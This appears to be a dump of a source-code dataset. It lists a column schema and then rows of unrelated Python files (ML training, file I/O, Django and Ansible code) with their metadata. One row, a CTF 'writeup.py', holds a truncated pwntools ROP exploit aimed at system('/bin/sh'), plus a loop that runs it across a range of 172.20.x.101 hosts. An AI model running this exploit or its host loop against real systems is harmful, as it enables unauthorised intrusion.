hexsha
stringlengths
40
40
size
int64
6
1.04M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
247
max_stars_repo_name
stringlengths
4
130
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
368k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
247
max_issues_repo_name
stringlengths
4
130
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
116k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
247
max_forks_repo_name
stringlengths
4
130
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
1
1.04M
avg_line_length
float64
1.53
618k
max_line_length
int64
1
1.02M
alphanum_fraction
float64
0
1
original_content
stringlengths
6
1.04M
filtered:remove_non_ascii
int64
0
538k
filtered:remove_decorators
int64
0
917k
filtered:remove_async
int64
0
722k
filtered:remove_classes
int64
-45
1M
filtered:remove_generators
int64
0
814k
filtered:remove_function_no_docstring
int64
-102
850k
filtered:remove_class_no_docstring
int64
-3
5.46k
filtered:remove_unused_imports
int64
-1,350
52.4k
filtered:remove_delete_markers
int64
0
59.6k
1371183d26f36f81df8c25639f4523c744c2c32b
1,682
py
Python
pwn/writeup.py
GinkgoTeam/2019YJTZB
7acb23f145ff70e09baade92e6b5a65856b36a1e
[ "MIT" ]
41
2019-05-13T14:22:58.000Z
2021-11-12T03:30:10.000Z
pwn/writeup.py
GinkgoTeam/2019YJTZB
7acb23f145ff70e09baade92e6b5a65856b36a1e
[ "MIT" ]
null
null
null
pwn/writeup.py
GinkgoTeam/2019YJTZB
7acb23f145ff70e09baade92e6b5a65856b36a1e
[ "MIT" ]
10
2019-05-13T22:49:22.000Z
2021-02-16T20:33:32.000Z
import requests import time import re for i in range(101,125): try: ip='172.20.{}.101'.format(str(i)) flag=main(ip) print ip,flag time.sleep(11) except: print 'wrong'
18.086022
41
0.631391
from pwn import * import requests import time import re def main(ip): p=remote(ip,10000) elf=ELF('./calculator') system_addr=elf.symbols['system'] binsh_addr=0x006020A0 poprdi=0x00400ec3 poprsi=0x400ec1 frmst_addr=0x400FD2 scanf_plt=elf.symbols['__isoc99_scanf'] #context.log_level='debu...
0
0
0
0
0
1,443
0
-4
48
9b6af6ffc3ebeeecd335510475daec57d7b18297
3,615
py
Python
dogs-vs-cats-tf-cnn.py
sandeshrjain/DNN_helper
1d03c794c1b54193f4a6fca177f34600c5a9c4e0
[ "MIT" ]
null
null
null
dogs-vs-cats-tf-cnn.py
sandeshrjain/DNN_helper
1d03c794c1b54193f4a6fca177f34600c5a9c4e0
[ "MIT" ]
null
null
null
dogs-vs-cats-tf-cnn.py
sandeshrjain/DNN_helper
1d03c794c1b54193f4a6fca177f34600c5a9c4e0
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Mon Mar 7 15:08:04 2022 @author: Sandesh Jain """ from tensorflow.keras.preprocessing.image import ImageDataGenerator train_gen = ImageDataGenerator(rescale =1./255, shear_range =0.2, zoom_range...
30.378151
133
0.526141
# -*- coding: utf-8 -*- """ Created on Mon Mar 7 15:08:04 2022 @author: Sandesh Jain """ import tensorflow as tf import numpy as np import os from tensorflow.keras.models import Model from tensorflow.keras.preprocessing.image import ImageDataGenerator from tensorflow.keras.layers import (Conv2D, Dense, F...
0
0
0
0
0
1,888
0
122
168
836d5f3396fbb107c7f1329399d9eb4e57f2fdd0
5,575
py
Python
io_tools/msrsync_sim.py
samuelsh/MultiFileOps
bc998fee6b02120a7783527767c93d5bf2ebfacd
[ "MIT" ]
5
2019-06-05T11:22:25.000Z
2020-07-13T10:37:01.000Z
io_tools/msrsync_sim.py
samuelsh/MultiFileOps
bc998fee6b02120a7783527767c93d5bf2ebfacd
[ "MIT" ]
1
2021-01-05T11:18:27.000Z
2021-01-05T11:18:27.000Z
io_tools/msrsync_sim.py
samuelsh/pyfs_stress
bc998fee6b02120a7783527767c93d5bf2ebfacd
[ "MIT" ]
null
null
null
#!/usr/bin/env python3.6 """ author: samuels """ import os import sys sys.path.append(os.path.join(os.path.join('../'))) logger = None stop_event = None files_counter = 0 dir_counter = 0 KB1 = 1024 MB1 = KB1 * 1024 DATA_BUF = os.urandom(KB1 * 8) data_array = [] if __name__ == '__main__': try: ...
33.787879
120
0.650583
#!/usr/bin/env python3.6 """ author: samuels """ import argparse import hashlib import os import queue import sys import random import threading sys.path.append(os.path.join(os.path.join('../'))) from concurrent.futures import ThreadPoolExecutor from threading import Event from client.generic_mounter import Mounter ...
0
0
0
262
0
4,331
0
65
383
61a8114a54c19e8c1a637205d2457235593b05db
916
py
Python
test/python_comparison.py
fmaguire/metagenome_simulator
79fc18ab21a897d2d16cca45e40e934acbf315d6
[ "MIT" ]
null
null
null
test/python_comparison.py
fmaguire/metagenome_simulator
79fc18ab21a897d2d16cca45e40e934acbf315d6
[ "MIT" ]
null
null
null
test/python_comparison.py
fmaguire/metagenome_simulator
79fc18ab21a897d2d16cca45e40e934acbf315d6
[ "MIT" ]
null
null
null
if __name__=="__main__": name_to_aro = {'mel': "3000616", 'pmrA':"3000822" , 'patB': "3000025"} strict_perfect = {'500': "strict", '1000': "perfect"} expected_bedtool_labels = open('bedtools_labels.tsv', 'w') labels = {} with open('intersection.tsv') as fh: for line in fh: li...
31.586207
79
0.505459
if __name__=="__main__": name_to_aro = {'mel': "3000616", 'pmrA':"3000822" , 'patB': "3000025"} strict_perfect = {'500': "strict", '1000': "perfect"} expected_bedtool_labels = open('bedtools_labels.tsv', 'w') labels = {} with open('intersection.tsv') as fh: for line in fh: li...
0
0
0
0
0
0
0
0
0
a6cea3059e191fe8d12739e5c5b75a0fafb9d802
1,822
py
Python
src/commercetools/importapi/models/_schemas/inventories.py
labd/commercetools-python-sdk
d8ec285f08d56ede2e4cad45c74833f5b609ab5c
[ "MIT" ]
15
2018-11-02T14:35:52.000Z
2022-03-16T07:51:44.000Z
src/commercetools/importapi/models/_schemas/inventories.py
labd/commercetools-python-sdk
d8ec285f08d56ede2e4cad45c74833f5b609ab5c
[ "MIT" ]
84
2018-11-02T12:50:32.000Z
2022-03-22T01:25:54.000Z
src/commercetools/importapi/models/_schemas/inventories.py
labd/commercetools-python-sdk
d8ec285f08d56ede2e4cad45c74833f5b609ab5c
[ "MIT" ]
13
2019-01-03T09:16:50.000Z
2022-02-15T18:37:19.000Z
# This file is automatically generated by the rmf-codegen project. # # The Python code generator is maintained by Lab Digital. If you want to # contribute to this project then please do not edit this file directly # but send a pull request to the Lab Digital fork of rmf-codegen at # https://github.com/labd/rmf-codegen ...
29.387097
77
0.698683
# This file is automatically generated by the rmf-codegen project. # # The Python code generator is maintained by Lab Digital. If you want to # contribute to this project then please do not edit this file directly # but send a pull request to the Lab Digital fork of rmf-codegen at # https://github.com/labd/rmf-codegen ...
0
89
0
1,189
0
0
0
10
156
a14f792aeed702ea0d392d0cee6f0f3d00bd091c
1,909
py
Python
unimodal/vision/dataset.py
shubham-gupta-iitr/mmmlX
3485e6191e0e45bf1c8168e4e928a36ab9264d22
[ "Apache-2.0" ]
null
null
null
unimodal/vision/dataset.py
shubham-gupta-iitr/mmmlX
3485e6191e0e45bf1c8168e4e928a36ab9264d22
[ "Apache-2.0" ]
null
null
null
unimodal/vision/dataset.py
shubham-gupta-iitr/mmmlX
3485e6191e0e45bf1c8168e4e928a36ab9264d22
[ "Apache-2.0" ]
1
2022-02-12T23:38:10.000Z
2022-02-12T23:38:10.000Z
import numpy as np np.random.seed(0)
34.709091
107
0.590885
import numpy as np from torch.utils.data import Dataset import cv2 from torchvision import transforms import base64 from PIL import Image np.random.seed(0) class ImageDataset(Dataset): def __init__(self, cfg, ids, dataset): self.cfg = cfg self._ids = ids self._num_ids = len(ids) sel...
0
0
0
1,721
0
0
0
9
133
cea112fa5664fda55582fe64fab2a7e867c249ca
1,144
py
Python
Lib/test/test_exceptions_jy.py
clach04/bb_import_jython
4529a0f578186a1c33c476300294ab42658eaf7c
[ "CNRI-Jython" ]
49
2015-03-10T17:34:19.000Z
2021-11-10T22:23:18.000Z
Lib/test/test_exceptions_jy.py
clach04/bb_import_jython
4529a0f578186a1c33c476300294ab42658eaf7c
[ "CNRI-Jython" ]
1
2021-04-11T15:01:12.000Z
2021-04-11T15:01:12.000Z
Lib/test/test_exceptions_jy.py
clach04/bb_import_jython
4529a0f578186a1c33c476300294ab42658eaf7c
[ "CNRI-Jython" ]
32
2015-02-06T12:10:32.000Z
2019-06-18T03:21:36.000Z
"""Misc. exception related tests Made for Jython. """ if __name__ == '__main__': test_main()
22.88
65
0.565559
"""Misc. exception related tests Made for Jython. """ from test import test_support import unittest class C: def __str__(self): raise Exception("E") def __repr__(self): raise Exception("S") class ExceptionsTestCase(unittest.TestCase): def test_keyerror_str(self): self.assertEqual...
0
0
0
884
0
45
0
2
113
c17d297d3e3b1768409a383f1791dd0e2160d9ed
97
py
Python
pythonProject/MUNDO 3/Relembrando listas 2.py
lucasjlgc/Aulas-de-Python-
6aaed1c660487a680e9c449210600ccdfa326612
[ "MIT" ]
null
null
null
pythonProject/MUNDO 3/Relembrando listas 2.py
lucasjlgc/Aulas-de-Python-
6aaed1c660487a680e9c449210600ccdfa326612
[ "MIT" ]
1
2021-06-25T15:29:11.000Z
2021-06-25T15:29:11.000Z
pythonProject/MUNDO 3/Relembrando listas 2.py
lucasjlgc/Aulas-de-Python-
6aaed1c660487a680e9c449210600ccdfa326612
[ "MIT" ]
null
null
null
import pandas as pd df = pd.read_excel("Mdia teste.xlsx", sheet_name= "Mdia") print(df.head())
24.25
59
0.721649
import pandas as pd df = pd.read_excel("Média teste.xlsx", sheet_name= "Média") print(df.head())
4
0
0
0
0
0
0
0
0
e71d446c2173eb797a2b7e29df4a14d48d6548ac
7,353
py
Python
library/mapr_entity.py
jaideepjoshi/ezmeral-orock-ansible
6debe998cfd613ecf8a91d242e298b5b6822d936
[ "Apache-2.0" ]
35
2017-12-10T22:03:48.000Z
2020-09-15T12:05:24.000Z
library/mapr_entity.py
jaideepjoshi/ezmeral-orock-ansible
6debe998cfd613ecf8a91d242e298b5b6822d936
[ "Apache-2.0" ]
105
2017-11-28T10:13:23.000Z
2022-01-07T00:33:21.000Z
library/mapr_entity.py
jaideepjoshi/ezmeral-orock-ansible
6debe998cfd613ecf8a91d242e298b5b6822d936
[ "Apache-2.0" ]
53
2017-02-02T13:18:33.000Z
2022-03-22T20:25:24.000Z
#!/usr/bin/python ANSIBLE_METADATA = { 'metadata_version': '1.0', 'status': ['preview'], 'supported_by': 'community' } DOCUMENTATION = ''' --- module: mapr_entity short_description: This module manages MapR accountable entities version_added: "2.4" description: - "This module manages MapR accountab...
31.55794
143
0.636339
#!/usr/bin/python ANSIBLE_METADATA = { 'metadata_version': '1.0', 'status': ['preview'], 'supported_by': 'community' } DOCUMENTATION = ''' --- module: mapr_entity short_description: This module manages MapR accountable entities version_added: "2.4" description: - "This module manages MapR accountab...
0
0
0
0
0
5,414
0
4
318
8c945debc7403eef7d5bb53554f95856e8985e78
79
py
Python
abc240/b/test.py
seigot/atcoder
6c2da684c75b7c5de162de3713a13507aeecce1d
[ "MIT" ]
2
2021-12-28T11:43:47.000Z
2022-02-20T14:41:27.000Z
abc240/b/test.py
seigot/atcoder
6c2da684c75b7c5de162de3713a13507aeecce1d
[ "MIT" ]
null
null
null
abc240/b/test.py
seigot/atcoder
6c2da684c75b7c5de162de3713a13507aeecce1d
[ "MIT" ]
null
null
null
n = input() arr = list(map(int, input().split())) s = set(arr) print(len(s))
13.166667
37
0.56962
n = input() arr = list(map(int, input().split())) s = set(arr) print(len(s))
0
0
0
0
0
0
0
0
0
c6b099c2eeccca6fd594c51318bc6cd9faebc7ab
41
py
Python
src/pruebas.py
edoomm/compiladores
f8badd2f44e4e0273161266f739aab7c1ca5dfb2
[ "MIT" ]
1
2021-03-23T14:22:26.000Z
2021-03-23T14:22:26.000Z
src/pruebas.py
edoomm/compiladores
f8badd2f44e4e0273161266f739aab7c1ca5dfb2
[ "MIT" ]
null
null
null
src/pruebas.py
edoomm/compiladores
f8badd2f44e4e0273161266f739aab7c1ca5dfb2
[ "MIT" ]
null
null
null
for i in range(255): print(chr(i))
8.2
20
0.560976
for i in range(255): print(chr(i))
0
0
0
0
0
0
0
0
0
5b15f03a9e21ad9e630b8c38b2ac80ff1cf06549
4,625
py
Python
lib/session.py
Hiteshsuhas/err-stackstorm
7579350ac50d9324b64a73b86d57e094270cb275
[ "Apache-2.0" ]
15
2016-09-19T12:06:12.000Z
2021-11-30T12:04:44.000Z
lib/session.py
Hiteshsuhas/err-stackstorm
7579350ac50d9324b64a73b86d57e094270cb275
[ "Apache-2.0" ]
22
2017-06-19T18:13:54.000Z
2021-05-28T09:25:01.000Z
lib/session.py
Hiteshsuhas/err-stackstorm
7579350ac50d9324b64a73b86d57e094270cb275
[ "Apache-2.0" ]
7
2017-06-19T17:03:59.000Z
2021-09-27T11:06:31.000Z
# coding:utf-8 import logging LOG = logging.getLogger("errbot.plugin.st2.session")
34.774436
99
0.611676
# coding:utf-8 import uuid import string import hashlib import logging from lib.errors import SessionExpiredError, SessionConsumedError from datetime import datetime as dt from random import SystemRandom LOG = logging.getLogger("errbot.plugin.st2.session") def generate_password(length=8): rnd = SystemRandom() ...
0
0
0
4,167
0
152
0
42
178
66388d70125d6d722d8baaab807b4f12201dcdd0
7,710
py
Python
mwtab/fileio.py
MoseleyBioinformaticsLab/mwtab
1bc1e3715538348b29a5760a9c3184fe04f568a6
[ "BSD-3-Clause-Clear" ]
7
2018-02-02T07:50:20.000Z
2021-03-14T22:46:58.000Z
mwtab/fileio.py
MoseleyBioinformaticsLab/mwtab
1bc1e3715538348b29a5760a9c3184fe04f568a6
[ "BSD-3-Clause-Clear" ]
2
2019-02-14T08:38:54.000Z
2020-02-19T08:08:02.000Z
mwtab/fileio.py
MoseleyBioinformaticsLab/mwtab
1bc1e3715538348b29a5760a9c3184fe04f568a6
[ "BSD-3-Clause-Clear" ]
1
2019-10-12T23:38:44.000Z
2019-10-12T23:38:44.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ mwtab.fileio ~~~~~~~~~~~~ This module provides routines for reading ``mwTab`` formatted files from difference kinds of sources: * Single ``mwTab`` formatted file on a local machine. * Directory containing multiple ``mwTab`` formatted files. * Compressed zip...
32.125
104
0.568742
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ mwtab.fileio ~~~~~~~~~~~~ This module provides routines for reading ``mwTab`` formatted files from difference kinds of sources: * Single ``mwTab`` formatted file on a local machine. * Directory containing multiple ``mwTab`` formatted files. * Compressed zip...
0
1,063
0
2,667
3,124
0
0
-35
404
aa69cf9bb36a467022c07fe2ac1ca628a579afb9
1,897
py
Python
7-Color Detecting.py
macerman/Open-CV
8a2bc35ba2610186fe2a38006b2ebbb3efbce31e
[ "MIT" ]
1
2021-10-03T15:39:12.000Z
2021-10-03T15:39:12.000Z
7-Color Detecting.py
macerman/Open-CV
8a2bc35ba2610186fe2a38006b2ebbb3efbce31e
[ "MIT" ]
null
null
null
7-Color Detecting.py
macerman/Open-CV
8a2bc35ba2610186fe2a38006b2ebbb3efbce31e
[ "MIT" ]
null
null
null
#--COLOR DETECTION--# import cv2 import numpy as np #our function for trackbars path = "sources/lambo2.png" #Burada renklerimizi ayarlayabilmek iin bir trackbar hazrlayacaz cv2.namedWindow("Trackbars") #making our window that our trackbars gon' be in cv2.resizeWindow("Trackbars",640,240) #resizing our tr...
41.23913
108
0.714286
#--COLOR DETECTION--# import cv2 import numpy as np #our function for trackbars def empty(x): pass path = "sources/lambo2.png" #Burada renklerimizi ayarlayabilmek için bir trackbar hazırlayacağız cv2.namedWindow("Trackbars") #making our window that our trackbars gon' be in cv2.resizeWindow("Trackba...
18
0
0
0
0
2
0
0
23
8bf92f9554a026c81421946868bc7e095ee1d032
31,097
py
Python
Embedd_Network_model.py
AutumnCrocus/shadow_sim
79ad13ff9bd7131c82f269af32a3970f3e4bf2ca
[ "MIT" ]
6
2020-11-08T18:41:23.000Z
2022-03-29T07:11:37.000Z
Embedd_Network_model.py
AutumnCrocus/shadow_sim
79ad13ff9bd7131c82f269af32a3970f3e4bf2ca
[ "MIT" ]
5
2020-08-09T11:32:59.000Z
2022-03-12T00:21:44.000Z
Embedd_Network_model.py
AutumnCrocus/shadow_sim
79ad13ff9bd7131c82f269af32a3970f3e4bf2ca
[ "MIT" ]
1
2021-01-31T05:57:10.000Z
2021-01-31T05:57:10.000Z
# -*- coding: utf-8 -*- import torch import os #os.environ["OMP_NUM_THREADS"] = "4" if torch.cuda.is_available() else "6" os.environ["PYTHONWARNINGS"] = 'ignore:semaphore_tracker:UserWarning' from tqdm import tqdm import torch.nn as nn # from preprocess import * from collections import namedtuple import copy import r...
47.045386
149
0.610123
# -*- coding: utf-8 -*- import torch import os from torch.multiprocessing import Pool, Process, set_start_method,cpu_count, RLock,freeze_support, Value, Array, Manager,cpu_count #os.environ["OMP_NUM_THREADS"] = "4" if torch.cuda.is_available() else "6" os.environ["PYTHONWARNINGS"] = 'ignore:semaphore_tracker:UserWarni...
525
0
0
15,066
0
5,612
0
180
411
7cfa0517f6f611e9e8a1d7cb043611f70bfb1a0f
2,196
py
Python
app/recipe/tests/test_tag_api.py
Ivanrputra/recipe-app-api
e70548a4f7f8756f8f4224dcf39b809a8b546da1
[ "MIT" ]
null
null
null
app/recipe/tests/test_tag_api.py
Ivanrputra/recipe-app-api
e70548a4f7f8756f8f4224dcf39b809a8b546da1
[ "MIT" ]
null
null
null
app/recipe/tests/test_tag_api.py
Ivanrputra/recipe-app-api
e70548a4f7f8756f8f4224dcf39b809a8b546da1
[ "MIT" ]
null
null
null
from django.urls import reverse TAGS_URL = reverse('recipe:tag-list')
28.894737
64
0.754554
from django.contrib.auth import get_user_model from django.urls import reverse from django.test import TestCase from rest_framework import status from rest_framework.test import APIClient from core.models import Tag from recipe.serializers import TagSerializer TAGS_URL = reverse('recipe:tag-list') class PublicTags...
0
0
0
1,848
0
0
0
97
181
470a6e476d032e3bf06631db5a62d5885240fdf0
1,184
py
Python
app/handler.py
KiraLT/certbot-lambda
3bec9e3575a67345849778f55227836591c5eee7
[ "MIT" ]
2
2022-01-19T07:27:30.000Z
2022-02-08T17:25:23.000Z
app/handler.py
KiraLT/certbot-lambda
3bec9e3575a67345849778f55227836591c5eee7
[ "MIT" ]
null
null
null
app/handler.py
KiraLT/certbot-lambda
3bec9e3575a67345849778f55227836591c5eee7
[ "MIT" ]
1
2022-02-16T14:38:36.000Z
2022-02-16T14:38:36.000Z
#!/usr/bin/env python3 if __name__ == "__main__": handler(None, None)
29.6
80
0.697635
#!/usr/bin/env python3 import shutil from app.settings import settings from app.services.certbot import obtain_certbot_certs from app.services.aws import list_secret_names, upload_certs_as_secrets def handler(_event, _context): try: shutil.rmtree(str(settings.CERTBOT_DIR), ignore_errors=True) #...
0
0
0
0
0
908
0
86
113
5a2b9719bea651a230205b8011c0b27198c10cbf
23
py
Python
something-learned/Algorithms and Data-Structures/Competitive-programming-library/CP/codeforces/656A-Da_Vinci_Powers.py
gopala-kr/CR-101
dd27b767cdc0c667655ab8e32e020ed4248bd112
[ "MIT" ]
5
2018-05-09T04:02:04.000Z
2021-02-21T19:27:56.000Z
something-learned/Algorithms and Data-Structures/Competitive-programming-library/CP/codeforces/656A-Da_Vinci_Powers.py
gopala-kr/CR-101
dd27b767cdc0c667655ab8e32e020ed4248bd112
[ "MIT" ]
null
null
null
something-learned/Algorithms and Data-Structures/Competitive-programming-library/CP/codeforces/656A-Da_Vinci_Powers.py
gopala-kr/CR-101
dd27b767cdc0c667655ab8e32e020ed4248bd112
[ "MIT" ]
5
2018-02-23T22:08:28.000Z
2020-08-19T08:31:47.000Z
x = input() print 2**x
7.666667
11
0.565217
x = input() print 2**x
0
0
0
0
0
0
0
0
0
75ac623f7b66719ba7e41213f1ae301dee5d15a5
89
py
Python
enthought/mayavi/tools/modules.py
enthought/etsproxy
4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347
[ "BSD-3-Clause" ]
3
2016-12-09T06:05:18.000Z
2018-03-01T13:00:29.000Z
enthought/mayavi/tools/modules.py
enthought/etsproxy
4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347
[ "BSD-3-Clause" ]
1
2020-12-02T00:51:32.000Z
2020-12-02T08:48:55.000Z
enthought/mayavi/tools/modules.py
enthought/etsproxy
4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347
[ "BSD-3-Clause" ]
null
null
null
# proxy module from __future__ import absolute_import
22.25
38
0.831461
# proxy module from __future__ import absolute_import from mayavi.tools.modules import *
0
0
0
0
0
0
0
13
22
b20f312d2d730133f52e15d77c7b0a9506e0f4bd
454
py
Python
backend/urls.py
Rayman/fusic-django
a3bc19cb5d0a013df649e5f59941c98c7ffec159
[ "MIT" ]
null
null
null
backend/urls.py
Rayman/fusic-django
a3bc19cb5d0a013df649e5f59941c98c7ffec159
[ "MIT" ]
14
2020-02-11T21:32:22.000Z
2022-02-26T02:10:23.000Z
backend/urls.py
Rayman/fusic-django
a3bc19cb5d0a013df649e5f59941c98c7ffec159
[ "MIT" ]
1
2019-03-07T04:04:02.000Z
2019-03-07T04:04:02.000Z
from django.conf.urls import url from django.urls import include from rest_framework.routers import DefaultRouter from . import views router = DefaultRouter() router.register(r"users", views.UserViewSet) router.register(r"playlists", views.PlaylistViewSet) router.register(r"radios", views.RadioViewSet) router.registe...
25.222222
55
0.779736
from django.conf.urls import url from django.urls import include from rest_framework.routers import DefaultRouter from . import views router = DefaultRouter() router.register(r"users", views.UserViewSet) router.register(r"playlists", views.PlaylistViewSet) router.register(r"radios", views.RadioViewSet) router.registe...
0
0
0
0
0
0
0
0
0
a1c9431bd64c2749eaeedd18e74822b26b4497e1
2,007
py
Python
minotaur/scripts/jsonl.py
csmith49/minotaur
982e128b440e2c8fe96c450505dfdac9a37f9551
[ "MIT" ]
null
null
null
minotaur/scripts/jsonl.py
csmith49/minotaur
982e128b440e2c8fe96c450505dfdac9a37f9551
[ "MIT" ]
null
null
null
minotaur/scripts/jsonl.py
csmith49/minotaur
982e128b440e2c8fe96c450505dfdac9a37f9551
[ "MIT" ]
null
null
null
from ..maze import Maze from json import dumps from typing import Iterable, Callable, Tuple, TypeVar from itertools import filterfalse, tee T = TypeVar("T") def partition(iterable : Iterable[T], predicate : Callable[[T], bool]) -> Tuple[Iterable[T], Iterable[T]]: """Partition an iterable by a predicate.""" ...
30.876923
106
0.63727
import click from .cli import cli from ..maze import Maze from ..interface import load, is_context, is_value from json import dumps from sys import stdout from typing import Iterable, Callable, Tuple, TypeVar from itertools import chain, filterfalse, tee T = TypeVar("T") def partition(iterable : Iterable[T], predic...
0
428
0
0
837
0
0
27
134
5b71d011d822f95ce25f55c2574551dc96b232fe
1,860
py
Python
examples/guidage.py
MaxLgy/Autoland
ca94eef0d2f3dafa56cc271751d72db91d704098
[ "MIT" ]
null
null
null
examples/guidage.py
MaxLgy/Autoland
ca94eef0d2f3dafa56cc271751d72db91d704098
[ "MIT" ]
null
null
null
examples/guidage.py
MaxLgy/Autoland
ca94eef0d2f3dafa56cc271751d72db91d704098
[ "MIT" ]
1
2021-05-16T15:20:19.000Z
2021-05-16T15:20:19.000Z
from numpy import cross, array, vdot from numpy.linalg import norm def vct_nrm(a,b,c): """Soit a,b,c trois coin de la plateforme suposse carre, n est un vecteur normal de cette platforme""" V1 = a-b V2 = a-c n = cross(V1,V2).T return n/norm(n) def champ(p,n,phat,v_d): """p position du drone, n vecteur normal la...
26.956522
127
0.604301
from numpy import cross, array , vdot from numpy.linalg import norm import matplotlib.pyplot as plt from roblib import * def vct_nrm(a,b,c): """Soit a,b,c trois coin de la plateforme supossée carrée, n est un vecteur normal de cette platforme""" V1 = a-b V2 = a-c n = cross(V1,V2).T return n/norm(n) def champ(p,n,...
14
0
0
0
0
174
0
10
67
cd321a02147ac54d46cd08610302a2d2864aa096
493
py
Python
GammaTorrent/main.py
Devam911/Gamma-Torrent
42079c497f8ebdc7aa1a442f3e34770747217e5c
[ "MIT" ]
1
2020-12-06T10:38:32.000Z
2020-12-06T10:38:32.000Z
GammaTorrent/main.py
Devam911/Gamma-Torrent
42079c497f8ebdc7aa1a442f3e34770747217e5c
[ "MIT" ]
null
null
null
GammaTorrent/main.py
Devam911/Gamma-Torrent
42079c497f8ebdc7aa1a442f3e34770747217e5c
[ "MIT" ]
2
2020-12-06T10:55:48.000Z
2020-12-15T14:28:00.000Z
__author__ = ["Manav Vagrecha", "Shreyansh Shah", "Devam Shah"] __email__ = ["manavkumar.v@ahduni.edu.in", "shreyansh.s1@ahduni.edu.in", "devam.s1@ahduni.edu.in"] import logging import sys import main_manager if __name__ == '__main__': # configuring the log outputs to the debug level logging.basicConfig(level...
30.8125
98
0.726166
__author__ = ["Manav Vagrecha", "Shreyansh Shah", "Devam Shah"] __email__ = ["manavkumar.v@ahduni.edu.in", "shreyansh.s1@ahduni.edu.in", "devam.s1@ahduni.edu.in"] import logging import sys import main_manager if __name__ == '__main__': # configuring the log outputs to the debug level logging.basicConfig(level...
0
0
0
0
0
0
0
0
0
c6734bf49760adf1241cdaa9c9fafc9ab5fe77b0
2,700
py
Python
azrt2021/data_from_csv.py
vkola-lab/azrt2021
a75c1302434c4578daf4cde119cfa50f552a9a43
[ "MIT" ]
2
2021-02-17T15:51:00.000Z
2022-01-05T06:07:07.000Z
azrt2021/data_from_csv.py
vkola-lab/azrt2021
a75c1302434c4578daf4cde119cfa50f552a9a43
[ "MIT" ]
1
2022-03-12T01:06:03.000Z
2022-03-12T01:06:03.000Z
azrt2021/data_from_csv.py
vkola-lab/azrt2021
a75c1302434c4578daf4cde119cfa50f552a9a43
[ "MIT" ]
1
2021-11-09T00:43:18.000Z
2021-11-09T00:43:18.000Z
""" data_from_csv.py audio dataset reading from CSV output file; """ import numpy as np def segment_collate_fn(batch): """ collect audio path, label, patient ID, start, end """ aud = [itm[0] for itm in batch] lbl = np.stack([itm[1] for itm in batch]) pid = np.stack([itm[2] for itm in batch]) ...
29.347826
97
0.564815
""" data_from_csv.py audio dataset reading from CSV output file; """ from torch.utils.data import Dataset import numpy as np import pandas as pd class AudioDatasetFromCsv(Dataset): """dVoice dataset.""" def __init__(self, csv_in, **kwargs): """ init """ self.csv_in = csv_in ...
0
560
0
1,613
0
0
0
13
67
4106d9cfc8b30f0a8cc972336e9629c09863a3a7
1,826
py
Python
rflow/common.py
otaviog/rflow
8594b9c3e9e1da61382f80b66e749cf7b8a33676
[ "MIT" ]
6
2019-08-26T11:36:58.000Z
2020-12-15T21:01:24.000Z
rflow/common.py
otaviog/rflow
8594b9c3e9e1da61382f80b66e749cf7b8a33676
[ "MIT" ]
null
null
null
rflow/common.py
otaviog/rflow
8594b9c3e9e1da61382f80b66e749cf7b8a33676
[ "MIT" ]
1
2020-04-13T08:05:27.000Z
2020-04-13T08:05:27.000Z
""" Common definitions of the workflow module. """ WORKFLOW_DEFAULT_FILENAME = 'workflow.py' DOT_DATABASE_FILENAME = '.workflow.lmdb'
23.714286
96
0.615005
""" Common definitions of the workflow module. """ WORKFLOW_DEFAULT_FILENAME = 'workflow.py' DOT_DATABASE_FILENAME = '.workflow.lmdb' class Uninit(object): """Sentinel for unitialized values on the framework context. Python's `None` can't be used, because `None` can be a valid for the user. """ pas...
0
0
0
1,619
0
0
0
0
69
fc8c4080b50b28b1fb6ddd4a6aa9afb8009d26ed
518
py
Python
feedback_survey/migrations/0014_auto_20170510_1717.py
mushahid54/feedback_survey
a568008f0717b52649010286e55e242f083734be
[ "MIT" ]
null
null
null
feedback_survey/migrations/0014_auto_20170510_1717.py
mushahid54/feedback_survey
a568008f0717b52649010286e55e242f083734be
[ "MIT" ]
null
null
null
feedback_survey/migrations/0014_auto_20170510_1717.py
mushahid54/feedback_survey
a568008f0717b52649010286e55e242f083734be
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by Django 1.10.6 on 2017-05-10 17:17 from __future__ import unicode_literals
24.666667
112
0.61583
# -*- coding: utf-8 -*- # Generated by Django 1.10.6 on 2017-05-10 17:17 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('feedback_survey', '0013_feedback_state'), ] operations = [ migrations.Alter...
0
0
0
339
0
0
0
19
46
f3df173c07598e604dee27e3ee7b95046ae4022c
11,132
py
Python
ansible/venv/lib/python2.7/site-packages/ansible/module_utils/network/nxos/config/l3_interfaces/l3_interfaces.py
gvashchenkolineate/gvashchenkolineate_infra_trytravis
0fb18850afe0d8609693ba4b23f29c7cda17d97f
[ "MIT" ]
17
2017-06-07T23:15:01.000Z
2021-08-30T14:32:36.000Z
ansible/venv/lib/python2.7/site-packages/ansible/module_utils/network/nxos/config/l3_interfaces/l3_interfaces.py
gvashchenkolineate/gvashchenkolineate_infra_trytravis
0fb18850afe0d8609693ba4b23f29c7cda17d97f
[ "MIT" ]
9
2017-06-25T03:31:52.000Z
2021-05-17T23:43:12.000Z
ansible/venv/lib/python2.7/site-packages/ansible/module_utils/network/nxos/config/l3_interfaces/l3_interfaces.py
gvashchenkolineate/gvashchenkolineate_infra_trytravis
0fb18850afe0d8609693ba4b23f29c7cda17d97f
[ "MIT" ]
3
2018-05-26T21:31:22.000Z
